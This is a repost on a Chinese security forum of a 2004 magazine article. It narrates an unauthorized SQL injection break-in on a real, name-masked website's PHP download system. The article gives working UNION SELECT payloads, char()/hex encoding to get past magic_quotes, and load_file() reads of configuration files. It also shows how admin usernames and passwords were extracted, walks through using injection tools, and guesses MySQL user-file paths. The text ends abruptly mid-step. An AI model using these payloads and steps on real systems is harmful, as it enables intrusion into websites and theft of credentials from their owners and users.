邪恶八进制信息安全团队技术讨论组's Archiver

exploit 2004-12-20 07:27

[转载]PHP注入某大型网站

来源:黑基

本文发表在《黑客防线》第十二期中


文 / 图 勇哥儿  

前言:从2003年开始,国内越来越多的朋友都喜欢了脚本攻击,各种ASP注入方法、技巧,真可谓是曾出不穷!同时也应运而生了很多好的注入工具,最典型的属小竹的NBSI和臭要饭的ESC,对MSSQL数据库在配上臭要饭的GETWEBSHELL更是如虎添翼如鱼得水!随着ASP注入的日益成熟,PHP+MYSQL注入也渐渐升温起来,很多朋友也转移到了这上面来!同时也出现了比较好的工具如CASI和二娃。接下来结合一个具体的实例,边理论边实践详细讲述如何由一个小小的PHP注入漏洞,引发破译SERV-U密码,上传PHPSHELL,控制MYSQL数据库,及如何提升系统权限的全过程!本文仅供大家参考,共同提高技术,同时也希望管理员及时弥补系统漏洞,所涉及网址、图片、漏洞,如有雷同,纯属巧合。引用黑防的一句很经典的话"在攻与防的对立中寻求统一!"

一、 PHP注入漏洞,惊显文件内容
㈠  手工注入法

⑴寻找PHP注入漏洞

平时喜欢在一些知名网站上看文章,下载它们的最新动画!有时看到带参数的,手一痒(^_^)就想在它们后面加上"‘","and 1=1" ,"and 1=2"测试测试。不会吧![url]http://www.[/url]******.net/down/show.php?id=100这个页面竟然存在PHP注入漏洞!在后面加上"'"[url]http://www.[/url]******.net/down/show.php?id=100'程序输出错误结果:        
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\******\down\show.php on line 45  
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\******\down\global.php on line 578
哇,系统的物理路径和数据库类型爆露出来了!这为以后上传执行PHPSHELL,下载服务器上的软件提供了路径条件!
提交:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=1出现正常页面, 提交:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=2页面内相应软件介绍的地方显示"不详",说明存在PHP注入漏洞。如下图所示:

[img]http://hackbase.com/UpLoadFiles/NewsPhoto/01648212.JPG[/img]
相关知识点:在php.ini文件中,magic_quotes_gpc boolean 设定 GET/POST/COOKIE 三种模组的特殊字元,包含单引号、双引号、反斜线、及空字 元 (NUL) 是否要自动加入反斜线当溢出字元;display_errors boolean 本选项设定是否要将执行的错误信息显示在使用者的浏览器上。有点经验的朋友一看就知道,原来它用的是夜猫下载系统!赶快下载一个源程序look一下它的源代码,发现没有对id没过滤好!

⑵开始注入,首先确定表中字段数目

不像平时ASP注入一样,我们接下来提交:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=2  union select 1出现:Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\******\down\show.php on line 45  
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in

D:\******\down\global.php on line 578
继续提交:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=2 union select 2,1同样出现上面的错误!当我们提交到:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=2 union select 19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1时出现了没有错误提示界面,页面中出现的上面语句select后面数字的地方,就是表示库中表字段出现的位置如18,文件大小地方出现的16,应用平台地方出现的14等。19表明这个表是共有19个字段。


[img]http://hackbase.com/UpLoadFiles/NewsPhoto/36680324.JPG[/img]
㈢惊现文件内容

下面将引入几个重要函数:在SQL语句中,可以使用各种MySQL内置的函数,经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()、VERSION()这些函数来获取一些系统的信息,还有一个应用得比较多的超重量级的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。我们要读取计算机中的文件就全靠它了,然而也是有条件限制的:
1、知道文件正确的路径;2、有权限读取并且文件必须完全可读 ;3、欲读取文件必须小于 max_allowed_packet。 如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。
接下来我们提交如下语句:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=2 union select 19,DATABASE(),17,CURRENT_USER(),SYSTEM_USER(),VERSION(),13,12,11,10,9,8,7,6,5,4,3,2,1 看到系统信息如下图:


[img]http://hackbase.com/UpLoadFiles/NewsPhoto/35038842.JPG[/img]
接下来我们再提交如下语句:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=2 union select 19,DATABASE(),17,CURRENT_USER(),SYSTEM_USER(),VERSION(),13,12,11,10,9,load_file(‘d:\******\down\include\config.inc.php'),7,6,5,4,3,2,1同样出现前面提交时的错误提示。很明显,错误出在load_file(‘d:\******\down\include\config.inc.php')当中。
相关知识点:程序没把d:\******\downinclude\config.inc.php内容老老实实显示出来,因为在php.ini中magic_quotes_gpc = on,如何才能构造出没有引号的语句呢?经常看黑防的朋友应该很轻松的能构造出,04年黑防第七期安全天使.angle的《SQL Injection with MySQL》一文介绍的用char()函数或者把字符转换成16进制。‘d:\******\down\include\config.inc.php',就是char(100,58,92,42,42,42,42,42,42,92,100,111,119,110,92,105,110,99,108,117,100,101,92,99,111,110,102,105,103,46,105,110,99,46,112,104,112)或者是"0x643A5C2A2A2A2A2A2A5C646F776E5C696E636C7564655C636F6E6669672E696E632E
706870"
接下来我们在提交如下语句:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=2 union select 19,DATABASE(),17,CURRENT_USER(),SYSTEM_USER(),VERSION(),13,12,11,10,9,load_file(char(100,58,92,42,42,42,42,42,42,92,100,111,119,110,92,105,110,99,108,117,100,101,92,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),7,6,5,4,3,2,1看到的配置文件config.inc.php内容如下图:


[img]http://hackbase.com/UpLoadFiles/NewsPhoto/25825900.JPG[/img]
成功:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=2 union select 19,DATABASE(),17,CURRENT_USER(),SYSTEM_USER(),VERSION(),13,12,11,10,9,load_file(char(100,58,92,42,42,42,42,42,42,92,100,111,119,110,92,105,110,99,108,117,100,101,92,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),7,6,5,4,3,2,1 from ymdown_user into  outfile ' d:\******\down\include\configicnphp.txt '(就是把目录成char()或十六进制也不成,请高手指点^_^)以上介绍的是手工的方法看文件内容。

㈡  工具注入法

①注入工具二娃的使用方法


[img]http://hackbase.com/UpLoadFiles/NewsPhoto/05429265.JPG[/img]
在"URL"地方添入存在有注入的网址可不要忘记了参数。"注入前页面的关键字":因为加入and 1=1与and 1=2面页显示的内容不同,"注入前页面的关键字"即为加入and1=1 时页面上存在,而加入and 1=2进页面不存在的字,在这里取了个时间为关键字。点"检测"按钮很快就会在结果中出现表中的字段数。比起手工来是又快又轻松啊!点"导入列表"会读取文本文件(biao.txt,你可以在此文件中自行添加表名)中的表名到右边文本框中。点"猜表"按钮,开始猜测表名。"生成backup"用来备份表!(在本次注入中备份没有成功,希望高手指点!)

②注入工具CASI的使用方法

[img]http://hackbase.com/UpLoadFiles/NewsPhoto/22227626.JPG[/img]
CASI一个相当不错的PHP注入工具,利用它可以轻松得到文件内容!而且还带有MYSQL连接器等四个工具!经过我测试,它最多猜测字段数是51个。下面来详细介绍一下如何利用它来显示文件内容:
在"注入URL"中添入存在注入漏洞的URL包括参数;"判断字符"一般默认mysql_fetch_array(mysql_fetch_array传回阵列资料。 语法: array mysql_fetch_array(int result, int [result_typ]);

传回值: 阵列 函式种类: 资料库功能 本函式用来将查询结果 result 拆到阵列变数中。若 result 没有资料,则传回 false 值。而本函式可以说是 sql_fetch_row.htm">mysql_fetch_row() 的加强函式,除可以将传回列及数字索引放入阵列之外,还可以将文字索引放入阵列中。若是好几个传回栏位都是相同的文字名称,则最后一个置入的栏位有效,解决方法是使用数字索引或者为这些同名的栏位 (column) 取别名 (alias)。值得注意的是使用本函式的处理速度其实不会比 sql_fetch_row.htm">mysql_fetch_row() 函式慢,要用哪个函式还是看使用的需求决定。参数 result_typ 是一个常数值,有以下几种常数 MYSQL_ASSOC、MYSQL_NUM 与 MYSQL_BOTH。)然后点右边的"字段扫描"按钮,在最下面的文本框中,就会出现扫描结果,如果存在漏洞,select 后面的数字会出现在网页的相应位置。在暴代码栏中,loadfile插入位置",8"表示:文件内容就会出现在网页中8出现的位置,目标文件path中输入写入你要查看的文件绝对路径如图所示,点"确定"按钮后就会在下面的文本框中8以前出现的位置出现文件代码如图所示。在暴密码栏中,用户名插入位置",16"表示:把用户名显示在网页中16出现的位置;用户名字段表示在表中代表用户名的字段的名称,本表为username; 用密码插入位置",14"表示:把用户密码显示在网页中14出现的位置;用密码字段名表示在表中代表用户密码的字段的名称,本表为password;表名表示:所猜解表的名称,本表为ymdown_user;点右边的确定按钮后,用户名和密码就分别出现在16和14出现的位置了。"停止","刷新","前进","后退","浏览",与IE浏览器相似,在这里就不赘述了。在工具箱栏中,还带有"后台扫描"、"whois查询"、"mysql连接器"、"http头信息"四个工具,点击后台"扫描按钮"会在程序信息中出现发现的url,然后在利用前面讲述的方法,看它的内容你会得到很多重要信息噢;点击"whois查询",会出现一个可按四种方式查询的面页[url]http://whois.webhosting.info/[/url],特别是按IP查询,输入一个IP你可以查出在同一IP上所挂的所有域名,这也是旁注入侵的关键所在;点击"mysql连接器"按钮,出现一个mysql连接器登录界面,利用下文讲述的方法得到用户名和密码后,就可登录进去一展身手吧!值得注意的两点是如果连接成功进入后如下图,有个"关闭mysql"按钮,一定要小心,点了后,mysql 可就关了,这时你在浏览网页时就会报错,MYSQL数据库连接失败!!在执行sql语句操作时,命令结果不回显,所以说语法一定要正确,否则错了也不知原因!点击"http头信息"按钮,将在程序信息中显示http头信息情况!


[img]http://hackbase.com/UpLoadFiles/NewsPhoto/41135657.JPG[/img]
一、 MYSQL库无外连,深挖SERV-U密码
①CASI妙看表中内容

原理明白后,我们还是利用CASI工具,毕竟这样来的更快!通过CASI我们可以得到下载系统的后台密码!(也可通过语句:[url]http://www.[/url]*****.net/down/show.php?id=100 and 1=2 union select 19,18,17, username,15,password,13,12,11,10,9,8,7,6,5,4,3,2,1 from     ymdown_user)如图所示:


[img]http://hackbase.com/UpLoadFiles/NewsPhoto/15631878.JPG[/img]
进入它的下载管理面页看看:[url]http://www.[/url]******.net/down/admin/index.php晕空的,原理管理员早把它删了,看来此路不通!(艰难的路程刚刚开始,后面很多地方,管理员都做了相应的设置,看我是如何来突破层层防线!)
在[url]http://www.[/url]*****.net/down/show.php页面的左上角有个上"管理"链接啊!点开一看原来是个空链接;再点"上传",需要登录,这是夜猫文章系统的面页,哪我们就在来看看它的文章系统。利用CASI先查看配置文件的内容:[url]http://www.[/url]*****.net/article/include/config.inc.php内容与下载系统的差不多。内容如下图所示:


[img]http://hackbase.com/UpLoadFiles/NewsPhoto/25752781.JPG[/img]
碰碰运气,进入下载系统的用户和密码登录管理页面,登录失败!在两个系统的配置文件中,我们可以知道它们的数据库名分别为download和article因为文章系统没找注入漏洞,没办法读出它的用户名和密码,哪能不能通过下载系统的实现跨库查询呢?(我没有成功!如哪位高手实现请转告)难道就没有办法了吗?MYSQL的密码会留在C:\windows\my.ini(注
意:win2000是c:\winnt\my.ini,win2003是c:\windows\my.ini)文件中,查看其内容,晕没找到文件,看来是管理员把文件删了或移到别的目录下了!MYSQL中的数据库和库中的表是如何存放在计算机中的呢?答案:/mysql/data/数据库名/表名.后缀名(后缀名有MYD,FRM,MYI,    其中MYD中存放了表中的所有内容)。利用管理员在装软件时默认路径的习惯,我们可以很容易的猜出我们想要的文件的物理路径。利用CASI看C:\mysql\data\mysql\user.myd的文件内容如下:
7

页: [1]
© 1999-2008 EvilOctal Security Team